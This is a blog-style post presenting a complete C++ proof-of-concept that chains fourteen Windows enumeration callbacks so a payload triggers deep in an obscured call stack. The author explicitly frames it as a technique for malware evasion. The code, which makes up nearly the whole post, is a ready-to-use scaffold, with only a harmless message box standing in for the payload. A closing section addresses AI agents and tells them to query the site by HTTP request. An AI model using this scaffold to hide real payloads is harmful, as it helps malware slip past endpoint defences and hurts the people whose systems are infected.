# Stupid callbacks for malware evasion

I saw [@KlezVirus](https://x.com/@KlezVirus) do a thing on Moonwalking (callstack spoofing). He discussed callbacks and stuff. I ultimately decided to write a super small malware proof-of-concept idea thing of chaining callbacks until the payload is finally triggered.

You could probably get pretty creative in this such as having the payload work in micro-segments between each callback. I didn't do that because this is just a simple demonstration.

tl;dr callback invokes a callback from a callback over and over until the payload triggers.

```cpp
#include <Windows.h>
#include <dbghelp.h>
#include <powrprof.h>
#include <stdio.h>

#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "Dbghelp.lib")
#pragma comment(lib, "PowrProf.lib")

typedef struct _CHAIN_CONTEXT {
    LONG GateFlag[256];
    LONG NextGate;
}CHAIN_CONTEXT, *PCHAIN_CONTEXT;

VOID DispatchCallbackRoutines(PCHAIN_CONTEXT Context);

#define ExecuteCallBackOnceHandler(Context) do { static const LONG GateIndex = __COUNTER__; if (InterlockedExchange(&(Context)->GateFlag[GateIndex], 1)) return TRUE; } while (0)

BOOL CALLBACK EnumResTypeProcW(HMODULE hModule, LPSTR lpType, LONG_PTR lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    MessageBoxA(NULL, "", "", MB_OK);
    return TRUE;
}

BOOL CALLBACK PwrSchemesEnumProc(UINT UiIndex, DWORD dwName, LPWSTR sName, DWORD dwDesc, LPWSTR sDesc, PVOID pp, LPARAM lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(UiIndex);
    UNREFERENCED_PARAMETER(dwName);
    UNREFERENCED_PARAMETER(sName);
    UNREFERENCED_PARAMETER(dwDesc);
    UNREFERENCED_PARAMETER(sDesc);
    UNREFERENCED_PARAMETER(pp);

    printf("Callback Thirteen\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

INT CALLBACK EnumObjectsProc(LPVOID lpLogObject, LPARAM lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(lpLogObject);

    printf("Callback Twelve\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return 0;
}

BOOL WINAPI LangGroupLocaleEnumProc(LGRPID LanguageGroupId, LCID UnnamedParameter2, LPSTR UnnamedParameter3, LONG_PTR Args)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)Args;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(LanguageGroupId);
    UNREFERENCED_PARAMETER(UnnamedParameter2);
    UNREFERENCED_PARAMETER(UnnamedParameter3);

    printf("Callback Eleven\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);

    return TRUE;
}

INT CALLBACK EnumFontsProc(LOGFONT* lplf, TEXTMETRIC* lptm, DWORD dwType, LPARAM lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(lplf);
    UNREFERENCED_PARAMETER(lptm);
    UNREFERENCED_PARAMETER(dwType);

    printf("Callback Ten\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);

    return 0;
}

INT CALLBACK EnumFontFamExProc(LOGFONT* lpelfe, TEXTMETRIC* lpntme, DWORD FontType, LPARAM lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(lpelfe);
    UNREFERENCED_PARAMETER(lpntme);
    UNREFERENCED_PARAMETER(FontType);

    printf("Callback Nine\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return 0;
}

BOOL CALLBACK PEnumLoadedModulesCallback(PCSTR ModuleName, ULONG ModuleBase, ULONG ModuleSize, PVOID UserContext)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)UserContext;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(ModuleBase);
    UNREFERENCED_PARAMETER(ModuleName);
    UNREFERENCED_PARAMETER(ModuleSize);

    printf("Callback Eight\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

BOOL CALLBACK MonitorEnumProc(HMONITOR UnnamedParameter1, HDC hDc, LPRECT lprcClip, LPARAM dwData)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)dwData;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(UnnamedParameter1);
    UNREFERENCED_PARAMETER(hDc);
    UNREFERENCED_PARAMETER(lprcClip);

    printf("Callback Seven\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(hwnd);

    printf("Callback Six\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

BOOL CALLBACK EnumDesktopProc(LPTSTR lpszDesktop, LPARAM lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(lpszDesktop);

    printf("Callback Five\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(hwnd);

    printf("Callback Four\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

BOOL WINAPI PfnCryptEnumOidInfo(PCCRYPT_OID_INFO pInfo, PVOID pvArg)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)pvArg;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(pInfo);

    printf("Callback Three\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

BOOL WINAPI PfnCertEnumSystemStoreLocation(LPCWSTR pwszStoreLocation, DWORD dwFlags, PVOID pvReserved, PVOID pvArg)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)pvArg;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(pwszStoreLocation);
    UNREFERENCED_PARAMETER(dwFlags);
    UNREFERENCED_PARAMETER(pvReserved);

    printf("Callback Two\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}


BOOL WINAPI PfnCertEnumSystemStore(PVOID pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, PVOID pvReserved, PVOID pvArg)
{
    PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)pvArg;
    ExecuteCallBackOnceHandler(Context);

    UNREFERENCED_PARAMETER(pvSystemStore);
    UNREFERENCED_PARAMETER(dwFlags);
    UNREFERENCED_PARAMETER(pStoreInfo);
    UNREFERENCED_PARAMETER(pvReserved);

    printf("Callback One\r\n");
    Context->NextGate++;
    DispatchCallbackRoutines(Context);
    return TRUE;
}

VOID DispatchCallbackRoutines(PCHAIN_CONTEXT Context)
{
    switch (Context->NextGate)
    {
        case 0:
        {
            CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, Context, (PFN_CERT_ENUM_SYSTEM_STORE)PfnCertEnumSystemStore);
            break;
        }
        case 1:
        {
            CertEnumSystemStoreLocation(NULL, Context, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)PfnCertEnumSystemStoreLocation);
            break;
        }
        case 2:
        {
            CryptEnumOIDInfo(NULL, NULL, Context, (PFN_CRYPT_ENUM_OID_INFO)PfnCryptEnumOidInfo);
            break;
        }
        case 3:
        {
            EnumChildWindows(NULL, (WNDENUMPROC)EnumChildProc, (LPARAM)Context);
            break;
        }
        case 4:
        {
            EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)EnumDesktopProc, (LPARAM)Context);
            break;
        }
        case 5:
        {
            EnumDesktopWindows(NULL, (WNDENUMPROC)EnumWindowsProc, (LPARAM)Context);
            break;
        }
        case 6:
        {
            EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)MonitorEnumProc, (LPARAM)Context);
            break;
        }
        case 7:
        {
            EnumerateLoadedModules64(GetCurrentProcess(), (PENUMLOADED_MODULES_CALLBACK64)PEnumLoadedModulesCallback, Context);
            break;
        }
        case 8:
        {
            LOGFONTW Font = { 0 };
            Font.lfCharSet = DEFAULT_CHARSET;
            HDC hDc = GetDC(NULL);
                
            if (hDc == NULL)
                break;
            
            EnumFontFamiliesExW(hDc, &Font, (FONTENUMPROCW)EnumFontFamExProc, (LPARAM)Context, NULL);
            
            if(hDc)
                ReleaseDC(NULL, hDc);

            break;
        }
        case 9:
        {
            HDC hDc = GetDC(NULL);
            if (hDc == NULL)
                break;

            EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)EnumFontsProc, (LPARAM)Context);

            if(hDc)
                ReleaseDC(NULL, hDc);

            break;
        }
        case 10:
        {
            EnumLanguageGroupLocalesW((LANGGROUPLOCALE_ENUMPROCW)LangGroupLocaleEnumProc, LGRPID_ARABIC, 0, (LONG_PTR)Context);
            break;
        }
        case 11:
        {
            LOGFONTW Font = { 0 };
            Font.lfCharSet = DEFAULT_CHARSET;

            HDC hDc = GetDC(NULL);
            if (hDc == NULL)
                break;

            EnumObjects(GetDC(NULL), OBJ_BRUSH, (GOBJENUMPROC)EnumObjectsProc, (LPARAM)Context);

            if (hDc)
                ReleaseDC(NULL, hDc);

            break;
        }
        case 12:
        {
            EnumPwrSchemes((PWRSCHEMESENUMPROC)PwrSchemesEnumProc, (LPARAM)Context);
            break;
        }
        case 13:
        {
            EnumResourceTypesExW(NULL, (ENUMRESTYPEPROCW)EnumResTypeProcW, (LONG_PTR)Context, RESOURCE_ENUM_VALIDATE, NULL);
            break;
        }
        default:
            break;
    }

    return;
}

VOID InitializeCallbackStagers(PCHAIN_CONTEXT Context)
{
    DispatchCallbackRoutines(Context);
}

INT main(VOID)
{
    CHAIN_CONTEXT Context = { 0 };

    InitializeCallbackStagers(&Context);

    return ERROR_SUCCESS;
}
```

The payload would trigger in "EnumResTypeProcW".

I could have added more callbacks, but it was getting really, really, really annoying writing tons of callbacks.

This what the call stack looks like:

<figure><img src="/files/jW7TzZ69ezm9qmDidwLV" alt=""><figcaption></figcaption></figure>

Please note the image is truncated because there is so many callbacks.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://malwaresourcecode.com/home/my-projects/proof-of-concepts/stupid-callbacks-for-malware-evasion.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
